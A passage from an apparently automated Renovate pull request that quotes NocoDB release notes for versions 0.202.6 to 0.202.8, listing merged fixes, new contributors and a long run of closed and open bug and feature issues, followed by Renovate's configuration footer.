[@pranavxc](https://togithub.com/pranavxc) in [https://github.com/nocodb/nocodb/pull/7025](https://togithub.com/nocodb/nocodb/pull/7025) - chore(renovate): Update patch (patch) by [@renovate](https://togithub.com/renovate) in [https://github.com/nocodb/nocodb/pull/6996](https://togithub.com/nocodb/nocodb/pull/6996) - chore(renovate): Update patch (patch) by [@renovate](https://togithub.com/renovate) in [https://github.com/nocodb/nocodb/pull/7028](https://togithub.com/nocodb/nocodb/pull/7028) - fix: vue warnings by [@wingkwong](https://togithub.com/wingkwong) in [https://github.com/nocodb/nocodb/pull/6954](https://togithub.com/nocodb/nocodb/pull/6954) - chore: logic for replacing version by [@mertmit](https://togithub.com/mertmit) in [https://github.com/nocodb/nocodb/pull/6759](https://togithub.com/nocodb/nocodb/pull/6759) - fix: import sanitization by [@wingkwong](https://togithub.com/wingkwong) in [https://github.com/nocodb/nocodb/pull/7022](https://togithub.com/nocodb/nocodb/pull/7022) - chore(renovate): Update patch (patch) by [@renovate](https://togithub.com/renovate) in [https://github.com/nocodb/nocodb/pull/7031](https://togithub.com/nocodb/nocodb/pull/7031) - New Crowdin updates by [@o1lab](https://togithub.com/o1lab) in [https://github.com/nocodb/nocodb/pull/7032](https://togithub.com/nocodb/nocodb/pull/7032) - fix: on clicking table node navigate to default view by [@pranavxc](https://togithub.com/pranavxc) in [https://github.com/nocodb/nocodb/pull/7023](https://togithub.com/nocodb/nocodb/pull/7023) - fix: Avoid treating value as column_name in sql join by [@pranavxc](https://togithub.com/pranavxc) in [https://github.com/nocodb/nocodb/pull/7017](https://togithub.com/nocodb/nocodb/pull/7017) - fix: ignore duplicate item in LTAR by [@pranavxc](https://togithub.com/pranavxc) in [https://github.com/nocodb/nocodb/pull/7030](https://togithub.com/nocodb/nocodb/pull/7030) - 0.202.8 Pre-release by [@github-actions](https://togithub.com/github-actions) in [https://github.com/nocodb/nocodb/pull/7035](https://togithub.com/nocodb/nocodb/pull/7035) #### New Contributors - [@varghesejose2020](https://togithub.com/varghesejose2020) made their first contribution in [https://github.com/nocodb/nocodb/pull/7009](https://togithub.com/nocodb/nocodb/pull/7009) - [@bsy0317](https://togithub.com/bsy0317) made their first contribution in [https://github.com/nocodb/nocodb/pull/7014](https://togithub.com/nocodb/nocodb/pull/7014) **Full Changelog**: https://github.com/nocodb/nocodb/compare/0.202.7...0.202.8 ### [`v0.202.7`](https://togithub.com/nocodb/nocodb/releases/tag/0.202.7): : Hotfix Release [Compare Source](https://togithub.com/nocodb/nocodb/compare/0.202.6...0.202.7) #### What's Changed - fix: select options delete and reorder by [@mertmit](https://togithub.com/mertmit) in [https://github.com/nocodb/nocodb/pull/7005](https://togithub.com/nocodb/nocodb/pull/7005) **Full Changelog**: https://github.com/nocodb/nocodb/compare/0.202.6...0.202.7 ### [`v0.202.6`](https://togithub.com/nocodb/nocodb/releases/tag/0.202.6): : Bug Fix Release [Compare Source](https://togithub.com/nocodb/nocodb/compare/0.202.5...0.202.6) #### π Closed Issues - \[**closed**] Action Required: Fix Renovate Configuration [#6993](https://togithub.com/nocodb/nocodb/issues/6993) - \[**closed**] How do I tell what version of nocodb I'm running? [#6985](https://togithub.com/nocodb/nocodb/issues/6985) - \[**closed**] π Bug: select options remove issue [#6971](https://togithub.com/nocodb/nocodb/issues/6971) - \[**closed**] ERD [#6968](https://togithub.com/nocodb/nocodb/issues/6968) - \[**closed**] Storage location of database files [#6966](https://togithub.com/nocodb/nocodb/issues/6966) - \[**Status: Reproducible**] π Bug: error with default value configuration in date field (PG) [#6964](https://togithub.com/nocodb/nocodb/issues/6964) - \[**closed**] π Bug: Regression on json column type, cannot use json array, invalid input syntax [#6963](https://togithub.com/nocodb/nocodb/issues/6963) - \[**closed**] π Bug: issue with leading or trailing space in select options [#6960](https://togithub.com/nocodb/nocodb/issues/6960) - \[**closed**] π Bug: Show v2 API in Swagger [#6958](https://togithub.com/nocodb/nocodb/issues/6958) - \[**closed**] π¦ Feature: pagination size for group by [#6944](https://togithub.com/nocodb/nocodb/issues/6944) - \[**closed**] π Bug: Invalid filter in list API [#6943](https://togithub.com/nocodb/nocodb/issues/6943) - \[**closed**] π Bug: No EOF in long text and impossible to see in a lookup [#6929](https://togithub.com/nocodb/nocodb/issues/6929) - \[**closed**] π Bug: UI Misc [#6927](https://togithub.com/nocodb/nocodb/issues/6927) - \[**closed**] π Bug: Duplicate base doesn't copy table/view icons [#6926](https://togithub.com/nocodb/nocodb/issues/6926) - \[**closed**] π¦ Feature: When creating a new record from the link adding menu, link it automatically [#6925](https://togithub.com/nocodb/nocodb/issues/6925) - \[**closed**] π Bug: Not possible now to get Attachments URL through Webhook [#6924](https://togithub.com/nocodb/nocodb/issues/6924) - \[**closed**] π Bug: CSV import, truncate table/field name if it exceeds limit [#6916](https://togithub.com/nocodb/nocodb/issues/6916) - \[**closed**] π Bug: Google auth token parse failure [#6915](https://togithub.com/nocodb/nocodb/issues/6915) - \[**closed**] π Bug: Update Nocodb latest [#6911](https://togithub.com/nocodb/nocodb/issues/6911) - \[**π Status: More Info Needed**] π¦ Feature: Do have the function of printing designοΌ [#6906](https://togithub.com/nocodb/nocodb/issues/6906) - \[**closed**] permissions Precise to Fields [#6893](https://togithub.com/nocodb/nocodb/issues/6893) - \[**closed**] π¦ Feature: Turn all values in a column into a linked field. [#6892](https://togithub.com/nocodb/nocodb/issues/6892) - \[**closed**] π Bug: 8080 Port occupied node:events:515 throw er; // Unhandled 'error' event [#6891](https://togithub.com/nocodb/nocodb/issues/6891) - \[**closed**] Change the default language to Chinese [#6885](https://togithub.com/nocodb/nocodb/issues/6885) - \[**closed**] π Bug: Nest can't resolve dependencies of the EventSubscribersLoader [#6884](https://togithub.com/nocodb/nocodb/issues/6884) - \[**closed**] π¦ Feature: Base Reordering [#6882](https://togithub.com/nocodb/nocodb/issues/6882) - \[**closed**] π¦ Feature: Still not possible to rollup a formula field [#6881](https://togithub.com/nocodb/nocodb/issues/6881) - \[**closed**] π Bug: Duplicate database error [#6874](https://togithub.com/nocodb/nocodb/issues/6874) - \[**closed**] π¦ Feature: Support details in README [#6868](https://togithub.com/nocodb/nocodb/issues/6868) - \[**closed**] π Bug: .HEIC files are not supported [#6866](https://togithub.com/nocodb/nocodb/issues/6866) - \[**closed**] π Bug: Delete Data Source => Remove Data Source [#6862](https://togithub.com/nocodb/nocodb/issues/6862) - \[**closed**] How to make the modified UI interface take effect on port 8080οΌοΌοΌ [#6859](https://togithub.com/nocodb/nocodb/issues/6859) - \[**closed**] π¦ Feature: Do not automatically reveal newly created fields in all of the previously existing views [#6858](https://togithub.com/nocodb/nocodb/issues/6858) - \[**closed**] π Bug: display column ID in multi-fields editor [#6850](https://togithub.com/nocodb/nocodb/issues/6850) - \[**Status: Reproducible**] π Bug: `Linked records` modal from form view is stuck with skeleton loader [#6844](https://togithub.com/nocodb/nocodb/issues/6844) - \[**closed**] π Bug: Invalid redirection URL [#6843](https://togithub.com/nocodb/nocodb/issues/6843) - \[**π Type: Bug**]\[**ποΈ Status: In Resolution**] π Bug: Cannot change the Account Name [#6841](https://togithub.com/nocodb/nocodb/issues/6841) - \[**closed**] π Bug: NotFoundException: Cannot GET /plugins/ovhCloud.png [#6840](https://togithub.com/nocodb/nocodb/issues/6840) - \[**ποΈ Status: In Resolution**] π Bug: AUTH TOKEN FOR CLOUD VERSION DOES NOT WORK WITH N8N [#6837](https://togithub.com/nocodb/nocodb/issues/6837) - \[**closed**] π Bug: default value for GeoData field type [#6832](https://togithub.com/nocodb/nocodb/issues/6832) - \[**closed**] π Bug: Expanded record read only fields [#6830](https://togithub.com/nocodb/nocodb/issues/6830) - \[**closed**] π Bug: keyboard shortcut- map backspace to clear cell [#6821](https://togithub.com/nocodb/nocodb/issues/6821) - \[**closed**] π¦ Feature: Checkbox based Kanban Board [#6818](https://togithub.com/nocodb/nocodb/issues/6818) - \[**closed**] π¦ Feature: Table Level Access [#6813](https://togithub.com/nocodb/nocodb/issues/6813) - \[**closed**] π¦ Feature: Web clipper extension [#6806](https://togithub.com/nocodb/nocodb/issues/6806) - \[**closed**] π¦ Feature: The Buttons in the Header Section Lacks Transition [#6804](https://togithub.com/nocodb/nocodb/issues/6804) - \[**Status: Reproducible**] π¦ Feature: Expanded Row Autosave and Searchtool [#6799](https://togithub.com/nocodb/nocodb/issues/6799) - \[**closed**] π Bug: In grid view, behaviour on click & right click field header [#6793](https://togithub.com/nocodb/nocodb/issues/6793) - \[**closed**] π¦ Feature: Make the view creation MORE visible. [#6792](https://togithub.com/nocodb/nocodb/issues/6792) - \[**closed**] π¦ Feature: Drag and drop reorder of column [#6791](https://togithub.com/nocodb/nocodb/issues/6791) - \[**π Type: Bug**] π Bug: Additional property DB_QUERY_LIMIT_MAX is not allowed [#6790](https://togithub.com/nocodb/nocodb/issues/6790) - \[**closed**] π Bug: `Team & Settings` not accessible for Org Creator [#6784](https://togithub.com/nocodb/nocodb/issues/6784) - \[**closed**] π Bug: exclude junction table relation from swagger [#6783](https://togithub.com/nocodb/nocodb/issues/6783) - \[**closed**] π Bug: fields dropdown UI [#6781](https://togithub.com/nocodb/nocodb/issues/6781) - \[**closed**] π¦ Feature: support for duplicate column with data [#6779](https://togithub.com/nocodb/nocodb/issues/6779) - \[**closed**] π Bug: consistency with Inflection & capitalise of different names used with in nocodb [#6768](https://togithub.com/nocodb/nocodb/issues/6768) - \[**π Type: Bug**]\[**Status: Reproducible**] π Bug: Attachment-type data's title string doesn't match non-Ascii char [#6760](https://togithub.com/nocodb/nocodb/issues/6760) - \[**ποΈ Status: In Resolution**] π Bug: Webhook link can't be private IP address of LAN [#6757](https://togithub.com/nocodb/nocodb/issues/6757) - \[**ποΈ Status: In Resolution**] π Bug: Filters not updating after upgrade [#6752](https://togithub.com/nocodb/nocodb/issues/6752) - \[**π©βπ¬ Status: In-Analysis**] π Bug: Image permalinks broke after update - how to get new ones? [#6745](https://togithub.com/nocodb/nocodb/issues/6745) - \[**π Status: More Info Needed**] π Bug: Cloud : import in csv file [#6703](https://togithub.com/nocodb/nocodb/issues/6703) - \[**Status: Reproducible**] π Bug: custom singular / plural label for links field was reset after docker restart [#6702](https://togithub.com/nocodb/nocodb/issues/6702) - \[**Status: Reproducible**] π Bug: The page is displayed as the key of the i18n json file [#6700](https://togithub.com/nocodb/nocodb/issues/6700) - \[**π©βπ¬ Status: In-Analysis**] π¦ Feature: New Keybindings [#6699](https://togithub.com/nocodb/nocodb/issues/6699) - \[**πΉ DB : SQLite**] π Bug: SQLite created-at, updated-at says `Invalid Date` [#6683](https://togithub.com/nocodb/nocodb/issues/6683) - \[**closed**] π Bug: Language pack missing [#6613](https://togithub.com/nocodb/nocodb/issues/6613) - \[**Status: Reproducible**] π Bug: A line on screen when we try to delete a column [#6526](https://togithub.com/nocodb/nocodb/issues/6526) - \[**closed**] π Bug: WebHook configuration options doesnβt show [#6525](https://togithub.com/nocodb/nocodb/issues/6525) - \[**closed**] Expanded record UI/UX Issues [#6506](https://togithub.com/nocodb/nocodb/issues/6506) - \[**closed**] Grid View UX Issues [#6505](https://togithub.com/nocodb/nocodb/issues/6505) - \[**Status: Reproducible**] π Bug: Swagger schema does not match api response [#6477](https://togithub.com/nocodb/nocodb/issues/6477) - \[**closed**] π Bug: ERD, show only table name by default [#6458](https://togithub.com/nocodb/nocodb/issues/6458) - \[**Status: Reproducible**] π Bug: Shared view sort displays ID instead of field name [#6456](https://togithub.com/nocodb/nocodb/issues/6456) - \[**closed**] π Bug: Columns created as "LinkToAnotherRecord" moved to "Links" but still showing child records instead of new display [#6453](https://togithub.com/nocodb/nocodb/issues/6453) - \[**Status: Reproducible**] π Bug: Shared grid view expanded record not accessible [#6452](https://togithub.com/nocodb/nocodb/issues/6452) - \[**closed**] π¦ Feature: UI for next empty ws [#6432](https://togithub.com/nocodb/nocodb/issues/6432) - \[**π Status: More Info Needed**] π Bug: Tables appear several times in the left menu times after Syncing metadata [#6407](https://togithub.com/nocodb/nocodb/issues/6407) - \[**closed**] π Bug: Emoji not visible after modifying the corresponding smartsheet [#6406](https://togithub.com/nocodb/nocodb/issues/6406) - \[**𧱠Type: Refactoring**] Confusing / Misleading Create Database [#6398](https://togithub.com/nocodb/nocodb/issues/6398) - \[**π Status: Need Internal Discussion**]\[**Status: Reproducible**] π Bug: Collaborator Access is read only [#6391](https://togithub.com/nocodb/nocodb/issues/6391) - \[**π₯ DB : MSSQL**] π Bug: Import Data button doesn't work correctly for Excel imports [#6385](https://togithub.com/nocodb/nocodb/issues/6385) - \[**Status: Reproducible**] π Bug: Tables in sidebar always showed titlecased [#6381](https://togithub.com/nocodb/nocodb/issues/6381) - \[**closed**] π Bug: Search Box Autosearch --> executing to many api calls [#6379](https://togithub.com/nocodb/nocodb/issues/6379) - \[**closed**] π Bug: Sidebar being Inverted [#6374](https://togithub.com/nocodb/nocodb/issues/6374) - \[**closed**] π Bug: default value not applied if value was modified before submitting link shared form [#6372](https://togithub.com/nocodb/nocodb/issues/6372) - \[**Status: Reproducible**] π Bug: undo don't work properly [#6371](https://togithub.com/nocodb/nocodb/issues/6371) - \[**π Scope : Docs**] π Bug: Unclear documentation about choosing a database [#6364](https://togithub.com/nocodb/nocodb/issues/6364) - \[**π Type: Bug**] π Bug: The expansion of long text is not available in the shared table view [#6359](https://togithub.com/nocodb/nocodb/issues/6359) - \[**closed**] π¦ Feature: Add "collaborator" field type to support assignments [#6356](https://togithub.com/nocodb/nocodb/issues/6356) - \[**π Type: Bug**] π Bug: Setting any incorrect column name, resulting in erroneous deletion of data [#6342](https://togithub.com/nocodb/nocodb/issues/6342) - \[**closed**] Outdated screenshots in README.md [#6327](https://togithub.com/nocodb/nocodb/issues/6327) - \[**closed**] π Bug: Table not loading. (Console Error: Failed to fetch dynamically imported module) [#6326](https://togithub.com/nocodb/nocodb/issues/6326) - \[**Scope : Test \[E2E]**] Test: Enable PW tests for ACL [#6316](https://togithub.com/nocodb/nocodb/issues/6316) - \[**π£ Priority: Low**] π Bug: Undo row delete not supported when triggered from expanded row [#6313](https://togithub.com/nocodb/nocodb/issues/6313) - \[**π Status: Need Internal Discussion**] π¦ Enhancement: DataSources > Metadata - interaction [#6310](https://togithub.com/nocodb/nocodb/issues/6310) - \[**π©βπ¬ Status: In-Analysis**] π Bug: Performance Issues since 0.111.0 [#6302](https://togithub.com/nocodb/nocodb/issues/6302) - \[**π Status: More Info Needed**] π Bug: Can't grab slide bar on the right side in Microsoft Edge or Chrome [#6299](https://togithub.com/nocodb/nocodb/issues/6299) - \[**π Status: Need Internal Discussion**] π¦ Feature: Links, allow option to not Automatically Rollup [#6298](https://togithub.com/nocodb/nocodb/issues/6298) - \[**closed**] π Bug: Mirroring Popup Window [#6296](https://togithub.com/nocodb/nocodb/issues/6296) - \[**closed**] π¦ Feature: Env variable for the CSV / Excel file upload (only for OSS) [#6295](https://togithub.com/nocodb/nocodb/issues/6295) - \[**π Status: More Info Needed**] π Bug: Geodata column type missing [#6294](https://togithub.com/nocodb/nocodb/issues/6294) - \[**Scope : Test \[E2E]**] π Bug: PW (flaky) : columnLinkToAnotherRecord.spec.ts [#6291](https://togithub.com/nocodb/nocodb/issues/6291) - \[**closed**] π Bug: ERROR \[i] Knex: Timeout acquiring a connection. The pool is probably full. [#6272](https://togithub.com/nocodb/nocodb/issues/6272) - \[**closed**] π¦ Feature: add option to pause animations - Gallery view carousel [#6258](https://togithub.com/nocodb/nocodb/issues/6258) - \[**π Type: Bug**] π Bug: Collaborator role configuration menu is blank [#6256](https://togithub.com/nocodb/nocodb/issues/6256) - \[**π¦ Type: Feature**] π¦ Feature: form with pre-compiled, "hidden" fields [#6253](https://togithub.com/nocodb/nocodb/issues/6253) - \[**π¦ Type: Feature**] π¦ Feature: Ability to group multiple projects in to a folders [#6240](https://togithub.com/nocodb/nocodb/issues/6240) - \[**π¦ Type: Feature**] π¦ Feature: Ability to hide/unhide the table/project [#6239](https://togithub.com/nocodb/nocodb/issues/6239) - \[**π¦ Type: Feature**] π¦ Feature: Pin a project on top [#6238](https://togithub.com/nocodb/nocodb/issues/6238) - \[**closed**] Cannot click tables on mobile [#6234](https://togithub.com/nocodb/nocodb/issues/6234) - \[**closed**] π Bug: QR-Code on API Call not transmitted as image [#6209](https://togithub.com/nocodb/nocodb/issues/6209) - \[**Status: Reproducible**]\[**ποΈ Status: In Resolution**] π Bug: QR Code Column gets deleted on Sync Metadata [#6206](https://togithub.com/nocodb/nocodb/issues/6206) - \[**closed**] π Bug: Swagger is not openned in https from the https dashboard [#6195](https://togithub.com/nocodb/nocodb/issues/6195) - \[**closed**] π Bug: Filters in GUI also affects the data API [#6159](https://togithub.com/nocodb/nocodb/issues/6159) - \[**closed**] π¦ Feature: In embedded view, anybody should be able to copy cells [#6155](https://togithub.com/nocodb/nocodb/issues/6155) - \[**closed**] π Bug: nested\[where] doesn't work with primary key if have display value [#6154](https://togithub.com/nocodb/nocodb/issues/6154) - \[**closed**] π Bug: File name extends the area on CSV import. [#6151](https://togithub.com/nocodb/nocodb/issues/6151) - \[**closed**] π Bug: REST API filter get data outside conditions. [#6148](https://togithub.com/nocodb/nocodb/issues/6148) - \[**closed**] Feature : Bulk update relational columns via API [#6144](https://togithub.com/nocodb/nocodb/issues/6144) - \[**closed**] π Bug: The filter when searching the table as specified in the description (where=(colName,like,%name) ) does not work with Cyrillic. [#6135](https://togithub.com/nocodb/nocodb/issues/6135) - \[**π Type: Bug**] π Bug: Couldnot send the sample payload data to mail using webhook [#6132](https://togithub.com/nocodb/nocodb/issues/6132) - \[**closed**] π Bug: XLSX Table Download Broken for Big Tables [#6116](https://togithub.com/nocodb/nocodb/issues/6116) - \[**closed**] π¦ Feature: When multiple people edit data at the same timeοΌcan real-time refresh [#6103](https://togithub.com/nocodb/nocodb/issues/6103) - \[**closed**] Cell Scaled Picture/Attachment Thumbnail \[Feature] [#6099](https://togithub.com/nocodb/nocodb/issues/6099) - \[**closed**] π Bug: TypeError while importing airtable database [#6096](https://togithub.com/nocodb/nocodb/issues/6096) - \[**closed**] π¦ Feature: view the images in fullscreen mode by clicking on them in the gallery view. [#6084](https://togithub.com/nocodb/nocodb/issues/6084) - \[**π Type: Bug**] π Bug: Filters return all records when specifying an incorrect field name [#6081](https://togithub.com/nocodb/nocodb/issues/6081) - \[**closed**] row level security workaround (implemented at the backend) [#6076](https://togithub.com/nocodb/nocodb/issues/6076) - \[**π Type: Bug**]\[**Status: Reproducible**] π Bug: Webhook - After Insert event triggers 2+ requests if table has relation [#6068](https://togithub.com/nocodb/nocodb/issues/6068) - \[**closed**] π Bug: SDK for attachment type not working in node environment [#6062](https://togithub.com/nocodb/nocodb/issues/6062) - \[**closed**] π¦ Feature: ONE serach box in shared table view [#6058](https://togithub.com/nocodb/nocodb/issues/6058) - \[**π Status: More Info Needed**] π Bug: Error Cannot read properties of null (reading 'date_format') when import excel or csv file [#6035](https://togithub.com/nocodb/nocodb/issues/6035) - \[**π Status: More Info Needed**] π Bug: Expanding a record with multi-step many-to-many relationships throws an error [#6020](https://togithub.com/nocodb/nocodb/issues/6020) - \[**closed**] π¦ Feature: Monday as first day of week in calendar popup [#5988](https://togithub.com/nocodb/nocodb/issues/5988) - \[**Status: Reproducible**] π Bug: Webhook trigger is different between Form and Share View Form [#5973](https://togithub.com/nocodb/nocodb/issues/5973) - \[**closed**] π¦ Feature: Add "Copy Value" button in context menu [#5972](https://togithub.com/nocodb/nocodb/issues/5972) - \[**closed**] π¦ Feature: Keyboard shortcuts for Pagination navigation [#5948](https://togithub.com/nocodb/nocodb/issues/5948) - \[**π Status: More Info Needed**] π Bug: Linking failed: DataLoader must be constructed with a function which accepts ArrayConfiguration
π Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).
π¦ Automerge: Disabled by config. Please merge this manually once you are satisfied.
β» Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
π Ignore: Close this PR and you won't be reminded about this update again.
This PR was generated by Mend Renovate. View the repository job log.